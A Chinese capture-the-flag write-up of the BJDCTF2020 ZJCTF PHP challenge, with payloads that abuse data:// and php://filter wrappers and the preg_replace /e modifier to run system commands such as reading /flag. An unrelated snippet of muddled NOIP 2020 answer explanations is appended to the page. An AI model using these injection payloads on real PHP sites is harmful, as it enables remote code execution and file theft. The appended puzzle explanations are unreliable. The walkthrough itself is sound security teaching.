[BJDCTF2020]ZJCTF,不过如此(特详解)

php特性

1.先看代码,提示了next.php,绕过题目的要求去回显next.php

2.可以看到要求存在text内容而且text内容强等于后面的字符串,而且先通过这个if才能执行下面的file参数。

3.看到用的是file_get_contents()函数打开text。想到用data://协议,可以想成创建了临时文件读取

payload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

data:text/plain详解补充

Data URI 的格式十分简单,如下所示:

data:[<mime type>][;charset=<charset>][;base64],<encoded data>
  • 第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。

  • 第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。

  • 第三部分是编码设置,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx,关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看效果:

    // output: ä½ å¥½ -> 使用默认的编码展示,故乱码
    data:text/html,你好  
    // output: 你好 -> 使用 UTF-8 展示
    data:text/html;charset=UTF-8,你好 
    // output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码)
    data:text/html;charset=gbk,你好 
    // output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示
    data:text/html;charset=UTF-8;base64,5L2g5aW9 
  • 第四部分是 base64 编码设定,这是一个可选项,base64 编码中仅包含 0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。

  • 最后一部分为这个 Data URI 承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。

注意(题外补充)

通过data://text/plain协议来进行漏洞利用。

?file=data://text/plain,<?php phpinfo();?>

发现不能使用,而且自己的代码没有问题啊?不知道为什么? 然后测试

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

发现还是错误的

然后测试下面的。成功~~~

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

总结: 通过实验发现这个可能是编码的问题因为<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法

不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。 添加空格改变base64编码。 将+号换成%2b 所以其实不需要通过base64编码来实现 将<?php phpinfo();?>改变成url编码。这样浏览器可以识别

回到题目

得到页面源码,接着base64解码

image-20240124204402834

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
​
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}

id参数可以不管

可以看出,先传参执行complex,来执行getFlag()获得flag

可以先看下面,是其中代码解释

image-20240124204821112

在页面传参后使$re值为参变量123 $str值为${getflag()},来传入complex函数

image-20240124204941410

这里解题的关键就是preg_replace()+/e存在代码执行漏洞

preg_replace (正则表达式, 替换成什么, 目标字符串, 最大替换次数【默认-1,无数次】, 替换次数)

意思就是就是把(目标字符串) 根据(正则表达的要求) 替换成什么

在此之前说明一些东西

双引号

<?php
echo "{${phpinfo()}}";
?>

出现

image-20240124205954727

单引号

<?php
echo '{${phpinfo()}}';
?>

image-20240124210046675

这是因为双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

注意:双引号中的函数不会被执行和替换

在看一个例子

<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
?>

image-20240124210239148

我们可以控制第一个和第三个参数,第二个参数固定为 'strtolower("\1")' 字符串。使用 strtolower("\\1"),它将匹配的内容转换为小写。 我们先看第二个参数中的\1 ,\1实际上就是 \1,而 \1 在正则表达式中有自己的含义,

反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。

\1 实际上指定的是第一个子匹配项。而这段代码里面的第一个子匹配项就是${phpinfo()}。这样我们就执行了phpinfo。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)

因此可以通过preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行

其中在正则表达式中,/(.*)/ei 是一个匹配任意字符(.)零次或多次(*),并将匹配的内容放入一个捕获组中的正则表达式。

回到题目

当我们通过/?.*={${phpinfo()}}方式传入却无法执行。在var_dump输出一下$_GET数组

var_dump($_GET);

这里我们发现了.变成了_,这是因为php会将传入的非法的参数名转成下滑线,所以我们的正则匹配才会失效。

image-20240124211057384

当非法字符为首字母时,只有点号会被替换成下划线,也使用\s Payload:

\S*=${phpinfo()}

最后Payload:

/next.php?\S*=${getflag()}&cmd=system('cat /flag');

image-20240124211307795

  • 26
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2020年NOIP初赛试题答案详解如下: 1. 小明有6只不同颜色的小球,分别放在6个盒子里。首先,他从第1个盒子取出一个球,放在第2个盒子里;然后,把第2个盒子里的球放在第3个盒子里;接着,将第3个盒子里的球放在第4个盒子里;以此类推,最后将第6个盒子里的球放在第1个盒子里。经过这样的操作后,小明发现每个盒子里的球的颜色都发生了变化,问小明一共进行了多少次操作? 解析:考察循环移位。根据题意可得,第i个盒子的球颜色经过了i次移动。最后小球不变颜色的唯一情况是做了6次循环移位,即每个盒子自己取出了一次球并放回原来的盒子,即可得答案为6。 2. 给定一个长度为n的正整数序列,将序列中的数字分为两个集合A和B,要求集合A的和与集合B的和差的绝对值最小。请问此时集合A中的数字个数最多可能有多少个? 解析:考察动态规划。定义一个二维数组dp,dp[i][j]表示前i个数字构成的集合A的和是否等于j。初始dp[0][0]=true,然后遍历数组,对于第i个数字nums[i],更新dp[i][j]:若dp[i-1][j-nums[i]]为true,则dp[i][j]也为true。最后从sum/2开始,倒序遍历,找到第一个dp[n][j]=true的j值,即为集合A中的数字个数最多的情况。 3. 给定一个字符串,统计其中出现次数最多的字符的个数,并求出这些字符的ASCII码的平均值。 解析:利用哈希表统计字符出现的次数。遍历字符串,对于每个字符,将其在哈希表中对应的计数加1。然后遍历哈希表,找出计数最大的次数,即为出现次数最多的字符的个数。接着遍历哈希表,计算总和及个数,最后除以个数求平均值,即为字符的ASCII码的平均值。 以上是2020年NOIP初赛试题答案的详细解析。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值